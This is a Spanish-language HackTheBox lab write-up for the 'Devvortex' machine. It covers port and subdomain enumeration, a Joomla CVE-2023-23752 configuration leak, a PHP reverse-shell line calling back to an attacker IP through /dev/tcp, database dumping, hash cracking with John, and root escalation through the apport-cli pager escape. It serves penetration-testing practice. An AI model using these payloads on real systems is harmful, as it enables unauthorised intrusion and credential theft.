> For the complete documentation index, see [llms.txt](https://dcollao.gitbook.io/my-pentest-book/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dcollao.gitbook.io/my-pentest-book/writeups/htb-hackthebox/htb-devvortex.md).

# HTB - Devvortex

https\://app.hackthebox.com/machines/Devvortex

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/aP7UTEyDDx8ceRbrhA68/Devvortex.png" alt=""><figcaption></figcaption></figure>

## Información General

* **Nombre de la Máquina:  Devvortex**
* **IP de la Máquina:**  10.10.11.242
* **Sistema Operativo: Linux**
* **Dificultad: Easy**
* **Fecha de Publicación:  25 nov 2023**

***

### **Enumeration**

#### **Establecer el objetivo**

Primero, establecemos el objetivo utilizando el comando `settarget` con la dirección IP de la máquina objetivo:

```bash
settarget 10.10.11.242
```

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/UNFWwetqw62EmjVBFE4r/image.png" alt=""><figcaption></figcaption></figure>

#### **Ping de reconocimiento**

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción `-R` para incluir la ruta de retorno:

```bash
ping -c 1 10.10.11.242 -R
```

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/iPPXhGQIGYCr3U7qAbL8/image.png" alt=""><figcaption></figcaption></figure>

#### **Escaneo de puertos con Nmap**

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones `-p-` para escanear todos los puertos, `--open` para mostrar solo los puertos abiertos, `-sS` para un escaneo de tipo TCP SYN, `--min-rate 5000` para establecer la velocidad mínima de paquetes y `-vvv` para un nivel de verbosidad alto. Además, utilizamos `-n` para desactivar la resolución de DNS, `-Pn` para no realizar el escaneo de ping, y `-oG allPorts` para guardar la salida en un archivo con formato Greppable:

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv  -n -Pn 10.10.11.242 -oG allPorts
```

{% endcode %}

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/8vvrTugnMnGQlMOEed5r/image.png" alt=""><figcaption></figcaption></figure>

#### **Escaneo detallado con Nmap**

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción `-sCV` para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con `-p __PORTS__` (reemplazando `__PORTS__` con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre `targeted`:

```bash
sudo nmap -sCV -p22,80 10.10.11.242 -oN targeted
```

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/eSMlly9WVRIWIU9FEuM9/image.png" alt=""><figcaption></figcaption></figure>

```
cat targeted -l java
```

Para añadir la entrada "10.10.11.242 devvortex.htb" al archivo `/etc/hosts`, puedes usar el siguiente comando en la terminal:

```bash
echo "10.10.11.242 devvortex.htb" | sudo tee -a /etc/hosts
```

Este comando añade la dirección IP `10.10.11.242` asociada al nombre de host `devvortex.htb` al archivo `/etc/hosts` de tu sistema.

Para realizar un descubrimiento de directorios en un sitio web utilizando Gobuster, puedes utilizar el siguiente comando:

{% code overflow="wrap" %}

```bash
gobuster dir -u http://devvortex.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
```

{% endcode %}

Pero después de un rato nos damos cuenta que no encontramos nada util, por lo que continuamos buscando subdominios:

{% code overflow="wrap" %}

```bash
gobuster dns -d devvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 50
```

{% endcode %}

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/AXuSWFbueFqxNxjtLRJ9/image.png" alt=""><figcaption></figcaption></figure>

Agregamos la nueva ruta al hosts...

```bash
echo "10.10.11.242 dev.devvortex.htb" | sudo tee -a /etc/hosts
```

Y gracias al robots.txt sabemos que es Joomla

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/CQx3VLW8VlwlZyOosEt0/image.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/c7ocW5KM4GBHabHYhv0W/image.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/zqEjKxHgBgkEX9TUEGu9/image.png" alt=""><figcaption></figcaption></figure>

### Exploitation

Buscamos en internet y nos encontramos que podría ser vulnerable al  **CVE-2023-23752 (**[**https://www.exploit-db.com/exploits/51334**](https://www.exploit-db.com/exploits/51334)**)**

{% code overflow="wrap" %}

```bash
curl "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true" | jq .
```

{% endcode %}

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/HqUvVCI1jURuK1PFusKE/image.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/NVsUDPboX6qF9sIqnRow/image.png" alt=""><figcaption><p>Ingresando con credenciales obtenidas</p></figcaption></figure>

Ahora que estamos dentro, lo que buscamos es lograr ejecutar una reverse shell editando algun archivo con el editor de Joomla.

{% code overflow="wrap" %}

```bash
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.80/8080 0>&1'");
```

{% endcode %}

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/OBZMwVt5rSE5fsiwLvdb/image.png" alt=""><figcaption></figcaption></figure>

Luego ejecutamos /administrator/atum/index.php mientras tenemos nc a la escucha...

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/Z5D1bgv4Ww5pbFhQ0siM/image.png" alt=""><figcaption></figcaption></figure>

Podemos mejorar la UX de nuestra shell:

```bash
script /dev/null -c /bin/bash 
stty raw -echo; fg
export TERM=xterm
```

Descubrimos que las credenciales para ingresar a la base de datos son las mismas por lo que nos ponemos a curosear:

```bash
 mysql -u lewis -p
 Password: P4n*****r3c0n##
```

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/tg65btwGgYXp011PHQ7j/image.png" alt=""><figcaption></figcaption></figure>

```sql
show databases;
use joomla;
select * from sd4fg_users;
```

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/RghrN2bFWiW63GYiEMf8/image.png" alt=""><figcaption></figcaption></figure>

Intentamos crackear con John... descubriendo la contraseña (teq\*\*\*\*\*\*cho)

{% code overflow="wrap" %}

```bash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

{% endcode %}

### Privilege Escalation

Ya dentro de nuestra shell, ejecutamos como siempre `sudo -l`

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/Kup8mfmWZns3aVFMlXCB/image.png" alt=""><figcaption></figcaption></figure>

Esto quiere que podria correr `/usr/bin/apport-cli` con sudo, buscando en internet veo que es un CVE (<https://github.com/diego-tella/CVE-2023-1326-PoC>).

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/HVgegU3OpNrVgbn7watg/image.png" alt=""><figcaption></figcaption></figure>

Al parecer al abrir un reporte podemos bypassear y llegar a ser root. Me doy cuenta que en mi caso no tengo ningún reporte por lo que debo primero crear uno:

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/etMJFi2hOAMZVcKnaLHT/image.png" alt=""><figcaption></figcaption></figure>

Luego vemos el reporte y inyectamos nuestro  "!/bin/bash" para byppasear.

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/bN0RwFUrOsVZMpFjzjCk/image.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/Yx7BP3ZMeKeb8KiewNGY/image.png" alt=""><figcaption></figcaption></figure>
